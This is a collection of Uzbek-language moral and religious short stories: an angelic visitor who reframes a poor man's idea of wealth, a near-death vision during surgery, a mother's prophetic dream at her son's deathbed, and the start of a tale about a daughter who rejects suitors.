Адабиёт

АЖАБ ДУНЁ

ТУШМИДИ ЎНГМИДИ? Бу йил саратон ҳаддан ташқари иссиқ келди. Ҳатто кечаси ҳам дамдан киши ухлолмайди. Ётоқхонамнинг деразасини ўртадаги кўзини олиб қўйдим, кечаси сал-қинроқ бўлади деб. Аммо ярим кечасигача уйқу йўқ. Гарчи синглимнинг ўғлини суннат тўйидан чарчаб келган бўлсам ҳам, деразага қараб хаёл суриб ётибман. Қани энди уйқу келса. Биласизми, ўзи шунақаман: агар кечки ўнгача ухлаб қолсам, ухлаб қоламан, бўлмаса, баъзи тунлари тонггача ухлолмаслигим ҳам мумкин. Нимагадир шунақа одатим бор. Бу эҳтимол турмушдаги муаммолар сабаблидир. Маошим рўзғордан ошмайди. Болаларга кийим-кечак, озиқ-овқат ва ҳоказолар. Баъзан қариндош-уруғларникида тўй-ҳашам бўлиб қоладиган бўлса, бутун ғалва менинг бошимга йиғилиб келади. Тўйга қуруқ бориб бўладими, бунинг устига, бир нарса қилиб қўшиндини топиб борганингдан кейин ҳам чўнтагингда пича пул бўлмаса яна қийин, чунки тўйга борганингдан кейин даврани олиб бораётган ўртакаш дастлаб тўй эгаларига сўз беради, шундан кейин бошланиб кетади тўй мажлиси. Бу тўй эмас, мажлис бўлади, мажлис. Фақат фарқи шуки, мажлисда гапирган ўтиради, бунда гапирган ўйинга тушади. Ўйинга тушгандан кейин қариндош-уруғлар нима қилиши керак – қистириши керак. Тўй эгасининг аммаси, холаси, поччаси, куёви, опаси, синглиси, э... санайверсанг адашиб кетасан, фақат ўртакаш адашмайди. Уларга қистирмасанг, уят бўлади. Ҳар би- -2- рига ўлганингнинг кунидан минг сўмдан қистирасан. Болаларнинг ризқини қистирасан. Отарчининг шогирди чилдирмасини кўтарволиб даврада айланиб юради, ўйинга тушаётганлар қистирилган пулларни чилдирмага ташлайдилар, у бориб отарчининг чорсисига тушади. Баъзи бирларига беш юз қистирсанг, хафа бўлгандай ҳам бўлади, гўё пул ўзининг чўнтагига тушадигандай. Биров айтмайдики, “Ҳой биродарлар, ахир, отарчи тўй эгаси билан шартнома қилиб тўйга келган, ундан оладиганини олади, бас қилинг бундай бемазагарчиликни! Отарчи тўйга хизмат қилиши керакми, ё тўй отарчи учун хизмат қилиши керами?! Бу қанақа тескари дунё?!” Йўқ. Бундай дейдиган одам ҳам йўқ, бу гапга қулоқ соладиган одам ҳам. Сиз томонларда қанақа билмадиму, аммо биз томонда шунақа. Бугунги тўйдаги ҳолатни ўйлаб ўзим тутадим, ўзим ёндим, охири хаёл оғушида овундим. Эҳ, қани энди бой- бадавлат бўлсанг, шунақа пайтларда ўкиниб кетасан. Эскилар бежиз айтишмаганда “ пулинг бўлса, чангалда шўрва”, деб. Анча-мунча оғзи ботирларга ҳам дадил гапираверасан. Пулинг бўлмаса, елканг қисиқ. Гапирганнинг оғзига қараб, гапини маъқуллаб ўтираверасан. “Оғзи қийшиқ бўлса ҳам, бойнинг боласи гапирсин”. Ўйлаб-ўйлаб ўксиниб кетдим. Ҳали уйимни битказганим йўқ. Бу ёқда болалар. Бирининг устига олиб бериш керак, бирининг ўқишига пул тўлаш керак. Тўрт боланинг каттаси энди биринчи курсда ўқияпти, кичиги тўртинчи синфда. Бу болалар қачон катта бўлиб ишга ярайди-ю, қачон ёнимга киради. Чала иморатни -3- ҳозир битириб олмасам, эртагаёқ кеч бўлади, чунки болалар бўй етади, бирини уйлаш, бирини узатиш ғами бошланади. Менда эса имкон йўқ. Шуларни ўйлаб бир юрагим сиқилди, бир сиқилди, беихтиёр уф тортиб юбордим. Деразадан самога қараб хаёл суриб қолдим. Қанийди, шу юлдузларга учишнинг иложи бўлса. Шу юлдузларда ҳам бизга ўхшаган жонзотлар яшашармикин, улар ҳам бизга ўхшаб турмуш тавишларини чекишармикин? Газеталарда ёзишларича, коинотнинг қаерларидадир жонзотлар бўлиши мумкин эмиш. Ўзга сайёраликларни, ҳатто, кўриб, улар билан учрашган одамлар ҳақида ёзишяптику. Қанийди менга ҳам бир ўзга сайёралик учраб қолиб “тила тилагингни”, деб қолса. Нима сўраган бўлардим? Ҳеч иккиланмай кўп пул сўраган бўлардим, кўкидан. Э, йўқ, йўқ, бўлмайди. Бу энг саводсиз одамнинг иши бўлади. Яхшиси бирор амал, мансаб сўрардим. Йўқ, бу ҳам бўлмайди. Мансабдор бўлсанг,одамларга бақиришинг керак, бўлар-бўлмасга бировларнинг кўнглини оғритишинг лозим бўлади. Кейин нима бўлади? Назардан қолиб ё инфаркт бўласан, ё инсульт. Мана, бизнинг корхонамиз раҳбари ҳам бақираверди, бақираверди, бўлар- бўлмасга одамларнинг кўнглини оғритаверди, охири инсульт бўлди. Амалдор бўлиш ҳам қийин. Бунақаси бўлмайди. Ҳали болаларнинг орзу ҳавасларини кўргим бор... Деразанинг юқори кўзидан кўриниб турган юлдузга қараб ётибман. Бир пайт ўша юлдуз сал жойидан силжигандай бўлди кўзимга. Диққат билан қарагандим ростдан ҳам аввал ўнг томонга, кейин чап томонга бир -4- мартадан бориб келди. Бундан таажжубланиб қолдим. Тикилиб туравергандим, юлдуз коптокдек пириллаб айланди-да, шиддат билан пастга, тўғри биз томон отилиб қолса бўладими. У аввал пиёладек бўлди, кейин чиннидек бўлди. Шиддат билан отилиб тушиб келаверди. “Ана энди тамом. Газеталарда ёзишган қиёмат-қойим рост шекилли, юлдуз Ерга урилади энди” деган ўй ўтди хаёлимдан. Юлдуз эса тобора шиддат билан пастлаб келар, катталиги саватдек бўлган, тобора каттариб борарди. Мен қўрққанимдан кўзларимни юмиб олдим. Назаримда бир неча сониядан кейин даҳшатли тўқнашув содир бўлади, Ер ўз меҳваридан чиқиб кетади. Тўқнашув оқибатини ўзимча тасаввур қилдим: жуда ҳам катта портлаш содир бўлади ҳозир, бир зарбда Ер курраси тариқдай самога сочилиб кетади. Юрагим шиддат билан урар, тилим ўзимга бўйсунмас, калима келтиролмасдим. Бир неча дақиқа даҳшатли тўқнашувни кутиб ётдим. Аммо орадан анча пайт ўтса ҳамки, ҳамма ёқ жимжит эди. Секин кўзларимни очиб деразага қарадим. Во ажаб, деразанинг шундоқ ортида оппоқ ёғдуга чулғониб бир одам менга қараб турарди. У ўзидан шундай чиройли ёғду таратардики, бу ҳам ёқимли, ҳам аллақандай роҳатбахш эди. Мен унга тикилганча анқайиб қолдим. У эса аввал кичрайиб ўртача одам шаклига келди, сўнг секингина деразадан ўтди-да, пастга тушди. Мен ундан қўрққанимдан кўзларимни бақрайтириб ётавердим. Бироздан кейин унинг менга жилмайишми, аллақандай меҳр билан тикилиб турганини кўриб сал ўзимга келдим. - Кимсиз?- сўрадим қўрқа-писа. -5- - Мен осмон қўриқчисиман,- жавоб берди у. - Ўзга сайёраликмисиз? - Асло. Мен осмон қўриқчисиман. - Сизни ўзга сайёралик деб ўйлабман. Фаришта экансиз-да? - Ҳа, осмон қўриқчисиман,- яна гапини такрорлади у. - Ҳозир кўз ўнгимда ерга юлдуз қулаб тушаётганди. У сизнинг ёғдуингиз экан-да? - Ерга ҳеч қандай юлдуз қулаб тушмайди, ҳеч қачон. Бундай фалсафа инсоннинг ўзи тўқиб олган тафаккури маҳсули. - Ростданми? Ерга ўзга сайёра урилиб кетмайдими?- жонланиб сўрадим мен. - Ҳеч қачон урилмайди. Бу улуғ зотнинг иродаси. - Ўзга сайёраликлар-чи? Улар бор нарсами? - Йўқ. Коинотда инсондан ўзга моддий борлиқ йўқ. Ўзга сайёраликларни ҳам одамлар тўқиб олиб ўзлари ишониб олишган. Инсон онги шундай нарсаки, у моддий тўқималарни ҳам вужудга келтириши мумкин. - Бу сиз... сизни... - Мен кўриб турганингдек моддий жисмга эга эмасман. - Демак, фаришта экансиз-да,- саволимни тағин такрорладим. - Осмон қўриқчисиман. Сен мени тўғри тушунмаяпсан. Сенга шундай тушунтираман: мен инсон онгидан чиқаётган ижобий ва моддий қувватни олий онг даргоҳига етказаман. Яъни шундай тушунгинки, гўё томорқага кираётган ариқларнинг биридан лойқа сув, биридан тиниқ сув оқса, мен лойқа сувни тўсиб қолиб тиниқ сувнигина у ёққа ўтказаман. -6- - Демак, бизнинг яхши тилакларимизни коинотга ўтказар экансиз-да? Фаришта тушундинг дегандай жилмайиб қўйди. Менинг эса қувончдан юрагим ҳаприқиб кетди. Мана энди тилакларим ижобат бўладиган бўлди. Нима сўрасам ижобат бўлади. Айни муддао. - Сўраган нарсамизни ижобат қила олар экансиз-да, унда тилагимни айтсам бўладими? - Нима тилак тилашингни биласанми?- сўради фаришта. - Нега билмас эканман? Биламан нима тилашни. Агар адашсам тўғрилайсизми?- ҳар эҳтимолга қарши сўрадим. - Яхши. Бундай имкониятни бераман сенга. Сўраган нарсангни буюк онгдан сўраб бераман. Фақат ўзинг учун фойдалисини тушунганингдан кейин,- қўшиб қўйди фаришта. Мен ўйланиб қолдим. Нима сўрашим мумкин? Қай йўсинда сўрайман? - Хўш? Тила тилагингни? - Мен бирор мансаб эгаси бўлишни истардим,- дедим секингина. - Мансабни унинг юкини кўтара оладиган инсонларга берган. - Мен уни кўтара олмайманми? - Йўқ, сенда бундай имкон йўқ. Чунки шошқалоқ ва мулоҳазасиз иш қиласан. - Нега энди? Ўзимга яраша ақлим бор. Шу дамда хотирамдан бир воқеа лип этиб ўтди. Бир куни корхона дарвозаси олдида ишга киришдан олдин смена раҳбаримиз мени ушлаб қолди-да, қандайдир -7- топшириқни тушунтира бошлади. Икковимиз янги лойиҳани ярим соатларча муҳокама қилдик. Бу пайтда иш бошланиб ҳамма ўз ишини бошлади. Биз эса муҳокамани давом эттирардик. Бир маҳал дарвозадан Солиҳа деган ҳамкасбимиз шошилиб кириб кела бошлади. Унинг ишга кечикиб келаётгани менинг ғашимни келтирди ва унга ғазаб билан тикилиб қолдим. Дарвозадан биз турган жойгача эллик қадамлар борлиги учун Солиҳа дастлаб бизни кўрмади. Агар етиб келса, бир тузлайман смена бошлиғи олдида деб турибман. Шундоқ ёнимга қарасам, ҳозиргина гапириб турган смена бошлиғи беш- олти қадам нарёқда тескари қараб кетяпти. Унинг қилиғидан ажабланиб турганимда Солиҳа ёнимга етиб келди. - Вой, ўлмасам, кеч қолдим. Бошлиқнинг олдида ерга кириб кетардим, яхшиям кўрмади. Кичкинам боғчага бормайман деб қилди жинниликни, қилди жинниликни. Ярим соат ушланиб қолдим. Ишдан кейин ишлаб бераман энди бир соат. Уят бўлди, уят бўлди. Ҳеч бунақа бўлмаганди. - Бошлиқ сизни кўрмади, шекилли, агар кўрганда танбеҳ берган бўларди,- дедим унга... - Ана кўрдингми?- деди фаришта.- Сен баъзан бошлиқнинг бир қулоғи кар, бир кўзи кўр бўлишини, бир қўлида асал, бир қўлида қамчи бўлишини ҳам билмайсан. Энди ўзинг айт, лойиқ экансанми шундай ишга? - Йў-ўқ,- дедим дудуқланиб. - Энди нима тилайсан? - Анови қўшнимизга ўхшаб бой бўлишни истайман. -8- - Ўша қўшнингнинг ногирон ўғли борлигини биласанми? Ўша ногирон ўғлини туну кун парвариш қилишини-чи? Менинг пешонамдан совуқ тер чиқиб кетди. Ён қўшнимизнинг ўғли ҳақиқатдан ҳам ногирон бўлиб баъзида кечалари эр-хотин бири олиб, бири қўйиб уни кўтариб чиқишарди. Лекин ўзлари бой, уйлар данғиллама, иккита “Ласетти”. - Ўша қўшнингнинг сабри учун берилган бу бойлик. Сен ҳам шундай бўлишни хоҳлайсанми? - Йўқ, йўқ, кераги йўқ,- дедим шоша-пиша. - Унда нима тилайсан? - Нариги қўшним-чи? У ҳам бадавлат-ку? - Сенинг кўзингга у шундай кўринади. Аслида у ҳаммадан қарз. Биридан олиб бирига беради. Бироз муддат ҳоли юради-ю, одамлар қарзини сўраб келгач, бировдан қарз олади ва бошқасига беради. Шундай бўлишни истайсанми? - Еган- ичганида ҳаловат йўқ бундай турмушнинг менга нима кераги бор? - Айт, кимнинг бойлигидай бойликка эга бўлмоқчисан? - Маҳалламиздаги Мухтор бой-чи? Унинг ҳам бирор ишкали борми? - Йўқ. Аммо унга шундай бойлик ато қилинган. Сабаби, у ота- онасини тириклигида хизматларини беминнат қилган, бирор марта уф тортмаган, бирон марта уларнинг гапини икки қилмаган, уларни алдамаган. -9- Мен фариштанинг гапидан уялиб кетдим. Тўғри, ота-онам мендан рози кетишди, аммо кўпинча уларнинг талабларини бажармаганман, тан олишим керак. Кўп- инча онам мен билан гаплашиб ўтиришимни сўрарди. Мен эса турли баҳоналарни кўрсатиб, ё кўчага чиқиб кетар, ё ўртоқларим билан улфатчиликка жўнаб қолардим. Мундоқ ўйлаб туриб қарасам, бирор марта онам билан дилдан гаплашмабман. Фақат уларни қариганларида боқибман, холос. Дийдоримга тўйдирмабман. Мен фаришта қошида лол бўлиб қолдим. У менинг изтиробга тушиб қолганимни кўриб кулди. - Яна кимга ўхшагинг келяпти?- сўради у. - Эҳтимол менга ҳеч қандай бойлик керак эмасдир?- сўрадим ундан. - Йўқ, сенга жуда кўп бойлик керак,- кулди фаришта. - Мен унга саволчан қарадим. - Сенга кўнгил хотиржамлиги, болаларингнинг соғлиқ- саломатлиги, тўрт мучангнинг саломатлиги, кўзинг нури, аҳли аёлингнинг садоқати, оилангдаги аҳиллик- иноқлик, белингнинг қуввати, бир бурда нонингни халоллаб ейишинг, эл ичида юзи ёруғлик... Санайверайми?- сўради фаришта. Мен унинг юзига қарадим. У менга илиқ, фарахбахш нигоҳ билан кулиб турарди. Менинг эса уятдан юзларим ловуллаб кетди. Нигоҳларимни пастга олдим. Уят иш қилиб қўйган ёш боладай ерга қараб қолдим... Эрталаб турсам, хотиним эшик супуряпти. Сочиқни елкамга ташладим-да, ҳовлидаги гуллар олдида -10- ўйланиб туриб қолдим. Тавба, кечқурун кўрганларим тушмиди, ўнгмиди? - Эрталабда нимани ўйлаб қолдингиз?- хотинимнинг овози ўзимга келтирди. - Эҳ, хотин, дунёдаги энг бой одам мен бўлсам керак,- дедим унга. У менга бир чимрилиб қаради. У ДУНЁ БЎСАҒАСИДА Бу воқеани менга Шавкат айтиб берганди. У қандай айтган бўлса мен ҳам шундайича ёзишга ҳаракат қилдим. - Анча йилллардан бери ўн икки бармоқли ичак яраси мени қийнаб келарди. Бир неча маротаба даволанишимга қарамай тўлиқ тузалиб кетавермадим. Докторлар ёзиб берган йўриқнома асосида дориларни тинмай истеъмол қилиб борсам-да, йил сайин касалим оғирлашиб бораверди. Бунга ўзим ҳам сабабчи бўлдим: парҳезни маҳкам тутолмадим. Охири, кузда қаттиқ оғриб қолдим. Юзларим қорайиб, ўрнимдан туришга мажолим келмай қолгандан кейин акаларим мени мажбуран касалхонага ётқизишди. ( Ўзимга қолса бораманми. Ахир, бу ёқда тирикчилик нима бўлади?) Мени обдон кўрикдан ўтказиб ҳар хил таҳлиллар олишган врачлар зудлик билан операция қилиш лозимлигини, яра қизилўнгачга етишига сал қолганини айтишди. Докторларнинг айтганига кўнишдан ўзга чорам қолмаганини англадим. Бир неча кун мени операцияга тайёрлашди. Операция куни ҳам етиб келди. Қанийди, вақт секинроқ ўтса-ю, яқинларим билан яна озроқ гаплашиб ўтирсам деган истак мени тарк этмасди. Ўша дамдагина мен бола-чақамнинг, хотин, ака- укаларим, опа-сингилларимни нақадар ғанимат эканини, улар учун мен ҳам ғанимат эканимни англаб етдим. Ниҳоят, вақт бўлиб ҳамширалар мени операция хонасига олиб кирдилар. Менга иккита укол қилдилар, яна бир нимани ҳидлатишди. Ҳушимдан кетдимми, ухлаб қолдимми – билмайман. Бир маҳал ўзимни операция хонасининг шифтида кўрдим. Ҳа, мен танамдан ажралиб чиқиб шифтда сузиб турардим. Тепадан ҳаммасини кўриб турибман. Столда ётган мен эдим, тўғрироғи менинг танам эди. Докторлар бемалол уни ёриб ичини кавлашарди. Мен уларнинг гапларини бемалол эшитиб турар, хатти- ҳаракатларини маъносиз кузатиб сузардим. Шифтдан нимадир бўлиб пастга тушдим. Энди докторларнинг орқасида туриб уларга қарардим. Уларнинг ишига пича қараб тургач, хонани кузата бошладим. Хонанинг бир бурчагида, шифтга яқин жойда, деворда ғалати жонзот менга тикилиб турарди. Унинг аъзойи бадани қуш патига ўхшаш пат билан қопланган, танаси кўршапалакникига ўхшаса ҳам боши кичкина, бургутникига ўхшар эди. Мен унга қарашим билан у менинг ёнимга сакраб тушди. Қанотларини аввал бир ёйди, сўнг бир- бирига жуфтлаб менга қаради. Мен ҳам беихтиёр унинг қилиғини такрорлаб қўлларимни икки ёнимга туширдим-да, унга қарадим. “Кетдик”, деди у ва биз шу заҳоти учиб кетдик. У олдинда, мен кейинда шундай катта тезликда учиб борардикки, буни моддий борлиқдаги тушунчалар билан тасвирлаб бўлмайди. Биз узоқ учдик. Атроф ям-яшил ўтлоқ, ям-яшил бир водийга етганимизда ерга қўндик. Атроф ям-яшил. Нарироқда биттагина эшик кўриниб турарди. Жонзот менга кутиб туришни буюриб ўзи шу эшикдан кириб кетди. Бироздан кейин қайтиб чиқиб мени ўзи билан юришга имлади. Ичкари кирганимизда чек-чегараси йўқ, ниҳоятда улкан ва ниҳоятда, сўз билан таърифлаб бўлмайдиган гўзал боғни кўрдим. Боғнинг гўзаллигигина эмас, ундан таралаётган хуш бўй мени сархуш қилиб қўйди. Боғдаги улкан сўрида оппоқ соқоллари кўксига тушган қирқ нафар киши ўтирарди. Мен уларни санаганим йўқ, қирқта эканлигини билдим, холос. Уларнинг ўртасида оппоқ соқолли нуроний бир киши бўлиб олдида катта китоб, унга тикилиб ўтирарди. - Йигитни олиб келдим,- деди мени олиб келган жонзот. Шунда нуроний менга бир қаради-ю, индамай китобни варақлашга тушди. У китобнинг бир саҳифасига анча тикилиб турди-да, жонзотга қараб: - Бу йигитни эрта олиб келибсан, жойига қайтариб қўй,- деди. Жонзот менга қайрилиб “кетдик” деди. Биз ортга қайтиб эшик томон юрдик. Икки қадам юрувдикки, ҳалиги нуроний бобо “Тўхта” деб бизни тўхтатди. - Бу йигитни атай олиб келибсан, энди жаннат билан дўзахни кўрсатиб қўй,- деб жонзотга буюрди. Жонзот бошини силкиб тасдиқлади-да, эшикка мени бошлади. Ташқарига чиққанимиздан кейин яна учиб кетдик. Биз шундай сўз билан таърифлаб бўлмайдиган гўзал маскан устидан учиб борардик. Бу нурафшон масканда яшаётган одамларни кўриб ҳавасим келиб кетди. Ҳаммаси оппоқ либосда, ҳаммасининг юз-кўзида бахтиёрлик. Улар шунақа бахтли эдиларки, нима дейишни билмайман. Бу дунёнинг сўзлари билан у бахтни таъриф- тавсифини келтириш асло мумкин эмас. Уларнинг устидан учиб ўтаётиб жонзотга “ мени шу ерга ташлаб кет”, дедим. У менга бир қаради-ю, индамади. Биз тағин учишда давом этдик. Ҳар нима бўлса ҳам менинг ўша маъводан кетгим йўқ эди-ю, аммо на илож. Анча учганимиздан сўнг энди атрофи баланд тоғ билан ўралган бир манзилга етиб келдик. Бу шунақанги қоп- қора тоғ бўлиб, ўртаси худди ўпқонга ўхшар, ана шу ўпқон тутаб қора тутунга беланиб ётар, одамларнинг даҳшатли дод- войлари эшитилар, бу даҳшатли овозларни эшитишнинг ўзи жуда даҳшат эди. Бу дод- вой овозларига одам боласининг дош бериши қийин. Мен қўрқувдан ўзимни йўқотар даражага келдим. Пастда тутаб, чала ёнган кўмирга ўхшаб қолган ғўлалар одамлар эди. Бу манзаранинг ҳам тасвирини сўз билан таърифлай олмайман. Тезроқ бу ердан кетишни жонзотдан ўтиниб сўрагим келарди-ю, гапиролмасдим. У менинг истагимни сезди шекилли, менга бир қараб қўйиб қанотларини енгилгина бир силкиди. Шунда биз янада тезроқ учиб кетдик... Бир маҳал ўзимни яна операция хонаси шифтида кўрдим. Ёнимда ҳалиги жонзот кўринмасди. Мен уни излаб у ёқ, бу ёққа қарадим, аммо у ғойиб бўлганди. Оҳиста сузиб келиб столда ётган танамнинг устига келганда тўхтаб қолдим. Нимадир бўлди-ю, тўсатдан танамнинг устига шиддат билан қулаб тушдим. Ундан у ёғини билмайман. - Кўзингизни очишга ҳаракат қилинг, кўзингизни очинг!- бировнинг шапатлашидан ҳушимга келдим. Тепамда операция қилган врач менинг юзимга секин-секин шапатиларди. Мен кўзимни очиб унга тикилдим. - Ана, ҳушимизга ҳам келдик. Ассалом ҳаёт, хайр дард-алам денг,- деди у менга кулиб қарар экан. Сўнг ёнидаги ҳамширага тайинлади,- яна бирор соат ухлатмасликка ҳаракат қилинглар, ўзига буткул келиб олсин, кейин ухлайверади. Бу воқеа мени доим ўйлантиради. Эзгу амаллар қилишга ундайди. Буни менга парвардигорнинг берган бир ибрати деб биламан. БИР КЎЗА СУВ Султоналини докторлар уйига жавоб бериб юборишди. Акасига “ бемор уйини, бола-чақасини соғинибди, шекилли, уларга ичикяпти, ўн кун уйида турсин, уларнинг меҳрига қониб сал кўнгли ёзилсин. Шу кунлар ичида буюрилган дориларни ичириб турасизлар, ўн кунда дармонга кириб қолади, кейин яна олиб келасизлар, ўзгаришига қараб даволашни давом эттирамиз”,- деди даволовчи врач. Толибжон ҳам ўзига яраша фаҳм- фаросатли одам эди. У укасининг умри тугаётганини, ҳаммаси шу ўн кун ичида ҳал бўлишини, иложи йўқлигини тушунди. Врачларга раҳмат айтиб, укасини уйига олиб жўнади. На илож, у ёқдан тикилиб келгандан кейин мингта докторнинг қўлидан бирор иш келармиди. Султоналини уч хонали уйнинг тўридаги хонасига ётқизишди: кенг, келди-кетди бемалолроқ бўлади. Болаларини кўриб Султонали қувониб кетди. Сал жонлангандай улар билан очилиб кўришди. Айниқса, кенжасини, икки яшар қизалоғини, қўйнида олиб ўтириб эркалатди. Аммо ярим соатга етмай чарчаб беҳол бўлиб ёнбошлади. Ўғлига ҳаммадан ҳам онаси Гулнор хола куюнарди. Эндигина ўттизга кирган боласи тузалмас дардга йўлиқиб кўз олдида сўлиб бораётса, қайси она ўз ёғида қоврулмайди, қайси она оташда ёнмайди. Бу ёқда уч норасидаси кўзларини жавдиратиб турса, кимнинг кўнгли ачимайди. Хола невараларига қараб бир куйса, боласига қараб икки куяди. У Султоналининг бошидан нари кетмай қўйди. Кечаси ҳам ёнида ётади. “Иҳ” деса ярим тунда ҳам ўрнидан туриб “нима бўлди, болам”, дейди. Намозида тинмай нажот сўраб дуо қилади. Тағин уч кундан кейин беморнинг ахволи оғирлашди. У ўзи билан ўзи бўлиб қолди. Эрталаб Султоналининг ахволи тузуккина эди. Аммо кечга бориб оғирлашди. Бироз ухлаб олди-ю, шу бўйи қайта кўз юммади. Ярим тунга бориб сув сўради. Хола дарров пиёлада сув тутди. Султонали пича онасига қараб турди-да: “Онажон мендан рози бўлинг, сизга кўп меҳнат бўлдим”, -деди. - Нимага меҳнат бўласан, болам, ўнта жоним бўлса, сенга фидо бўлсин, сендан ўла- ўлгунимча розиман,- деди Гулнор хола. Шундан кейин Султонали гапирмай қўйди. Кечаси билан бир нуқтага тикилганча ётаверди. Тонгга яқин хола унинг қўли билан бир нимани олиб емоқчи бўлаётганини, қўлларини ёнига тушириб ўзидан бир нимани юлиб олмоқчи бўлаётганини кўрди. Бу ўлим аломати эди. Одатда оғир ётган беморлар шунақа бўлишади. Ўлим олдидан оғизларига қўлларини олиб бориб овқат еяётгандай ёки ўзларидан бир нимани узиб олиб ташлаётгандай қилиқлар қилишади. Бу одатда, бемор жон беришидан бир кун олдин содир бўлади. Хола синчков эди, ҳаммасини англади. “Демак, тонгга бориб... Шунча умри қолдими боламнинг” хаёлидан ўтди холанинг. Аммо қайси она ўз боласининг ўлимини бўйнига олади? Гулнор хола ўрнидан туриб ихлос билан таҳорат олиб кирди ва ҳали намоз вақти кирмаган бўлса ҳам чин дилдан, ихлос билан икки ракат намоз ўқиди. Намозидан кейин кўзларидан ёшларини оқизиб дуо қилди. - Ё қодир эгам, ўзинг қодирсан. Шу боламнинг умрини бергин, болаларининг ҳурматидан менинг умримни шунга қўшиб бергин. Бу бола дунёга келиб нима кўрибди. Менинг қолган-қутган умримни шу боламга бергин. Жон керак бўлса, менинг жонимни олгин, боламга шифо бер, ё парвардигори олам, ўзинг қодирсан. У намоздан туриб ўғлининг устига энгашиб уни қучоқлаб олди. Кўзларидан оққан ёшлари ёстиқни ҳўл қилди. Боласини қучоқлаб олганича “ жон керак бўлса, менинг жонимни олгин, парвардигорим, боламнинг ўрнига мени олиб кет. Боламнинг ўрнига мени ол, болам умр кўрсин. Бу дунёга келиб нима кўрибди. Унинг ўрнига менинг жонимни ол”, деб такрорлайверди. Бу онанинг томир- томирларидан, қалб- қалбидан отилиб чиқаётган нола эди, муножот эди. Бемор эса онанинг қучоғида ором олдими, бир текис нафас олиб ухлаб қолган, унинг бу уйқуси ўлим олди уйқу эканини на ўзи, на она биларди. Ўксиб-ўксиб йиғлаган она боласини қучганича тонгга яқин бир муддат ухлаб қолди. Бор-йўғи ўн дақиқа ухлаган бўлса ҳам, у туш кўрди. Тушида оппоқ либосли мўйсафид онанинг қошига келди-да, унга шундай деди: - Эй муштипар, кўп фарёд қилма. Сенинг дуоларинг ижобат бўлмайди. Чунки азалда ўғлингнинг пешонасига шу тақдир битилган. Унинг умр соати тугаяпти, буни ўзгартиришнинг иложи йўқ, бу парвардигорнинг ҳукми. Ўғлингнинг ўрнига сени олиб кетолмаймиз биз. Унинг умр суви тугади, сеники эса ҳали бир кўза бор. Бизни ҳам, ўғлингни ҳам қийнамагин энди. Яхшиси тақдирга тан бергин-да, калима келтириб ўғлингнинг жон беришини енгиллатгин. Ўнг томонини бўш қўйгин, биз бемалол ишимизни битирайлик. Сен ўғлингга яхшилик қилмоқчи бўлсанг, ортиқча фарёд қилма, чунки фарёд урганинг сари у қийналаверади, бунинг ўрнига унинг ҳақига дуолар қил, шунда унинг руҳи ором топади. Гулнор хола чўчиб бошини кўтарди. Тонг оқариб қолган экан. Ўрнидан туриб бомдод намозини ўқишга тутинди. Келини ҳам уйғониб оёқ учида юмушларини бажаришга киришди. Намозини ўқиб бўлганидан кейин ўғлининг чап томонига ўтди-да, тинмай паст овозда калима келтира бошлади. Бирин –кетин кириб келган уч ўғлига ўзининг ёнига ўтиришни имо қилиб, уларга ҳам калима келтиришни имо қилди. Толибжон ниҳоятда мулойим паст товушда “Ёсин”ни ўқий бошлади. Султонали аввал атрофга бир қур кўз югуртириб кимнидир излади. Сўнг ёнида ўтирган онаси ва ака-укаларини кўриб тинчланиб, аста-аста пичирлай бошлади. - Айланай болам, калима келтиравер,- деди она ва ёнидаги пиёладаги сувдан пахтага шимитиб ўғлининг лабларига томизиб қўйди. Бемор бир тамшаниб яна пичирлай бошлади. Бироздан кейин кўзи тепага битиб қолди. Унинг жон бераётганини сезиб Гулнор хола секин-секин бошидаги ёстиқларни битта- битта олиб қўя бошлади. Охирги ёстиққа ўғлининг бошини қўйиши билан унинг нафас олиши тўхтади. Она эса на фарёд урди, на бир ун чиқарди. Толибжон ҳам, укалар ва келинлар ҳам онасининг бу матонатига ҳайрон эдилар... Орадан бир неча кунлар ўтиб Гулнор хола кўрган тушини келинларига айтиб берди. Орадан бир неча йиллар ўтди, Гулнор хола бирон марта ўғлини номини айтиб йиғламади, аммо тинмай унинг охиратини обод қилишини сўраб дуо қилишни канда қилмади. Пайти етиб у ҳам дунёдан кўз юмди. Кенжа келинининг айтишича, Султоналидан кейин у роппа- роса етти йилу етти кун яшабди. ҚИЙИҚ ҚИЗНИНГ ҚИСМАТИ Шоҳсанам уйга кириб борганда онаси Хосият опа сўрида дастурхон йиғиштираётган эди. Қизини кўрди-ю, бир чимрилиб олди, унга қараб қўйиб ўз иши билан машғул бўлди. Шоҳсанам сездики, яна совчилар келган. Шунинг учун у онасига салом берди-ю, индамай ўз хонасига ўтиб кетди. Пичадан кейин кийиниб чиқиб онасига ёрдам бермоқчи бўлган эди, онаси уни тўхтатди: - Бориб ўзингнинг ишингни қилавер, бу ёғини ўзим эплаштираман. Онасининг авзойини кўриб у индамай хонасига кириб кетди. Хосият опанинг унга муомаласи анчадан буён совуқ бўлиб қолди. Онасигина эмас, отаси Маҳкам ака ҳам қовоғини солгани солган. Сабаби шуки, у шу йил институтни битирди, мана бир йилдан буён уларнинг эшигидан совчилар аримайди. Айримлари уч-тўрт мартадан келиб кетишди. Аммо Шоҳсанамга уларнинг биронтаси ҳам ёқмайди. Бирини ундоқ дейди, бирини бундоқ- хуллас, биронтасини ёқтирмайди. Совчи қўйган йигитларнинг бири пакана чиқади, бири ўқимаган, яна бири ўқиган бўлса ҳам тайинли жойда ишламайди, бирининг турқи совуқ ва ҳоказо. Ота-она бу тўнғич қизининг барча эркаликларини кўтаришарди-ю, мана шу ерга келганда уларнинг боши қотди. Нима қилса бўлади? Қандай қилиб уни йўлга солиш мумкин. Қиз боланинг ҳам бозори вақтинча, бугун харидори чиқиб турибди, эртага ёши ўтгандан кейин нима бўлади? Биров эшигидан мўраламай қўйиши ҳам мумкин. Ҳамма нарсанинг ўз вақтида бўлгани яхши, лекин бу қиз шунақанги қийиқ бўлдики, уни йўлга солишга ота- онанинг боши қотиб қолди. Мана бугун ҳам Соливой қассобнинг ўғлидан келган совчиларни Хосият опа “кечқурун дадаси келсин, маслаҳатлашайлик, у киши нима деса шу бўлади”, деб қайтарди. Совчилар эрта туриб индинга келишларини айтишиб чиқиб кетишди. Аммо Хосият опа сезиб турибдики, қассобнинг ўғлига тегишга Шоҳсанам ўла қолса унамайди. Шуни ўйлаб онанинг дили хуфтон бўлиб ўтирган жойи эди. Ўзи шу қизини “тўнғичим, тўнғичим”, деб ўзлари талтайтириб юборишган, эркалатиб ўстиришди, нима деса, шуни қилиб ёмон ўргатишган экан. У бир кўнгли қизига “сенга Соливой қассобнинг ўғлидан совчи келибди, нима дейсан?” деб сўрамоқчи бўлди-ю, лекин 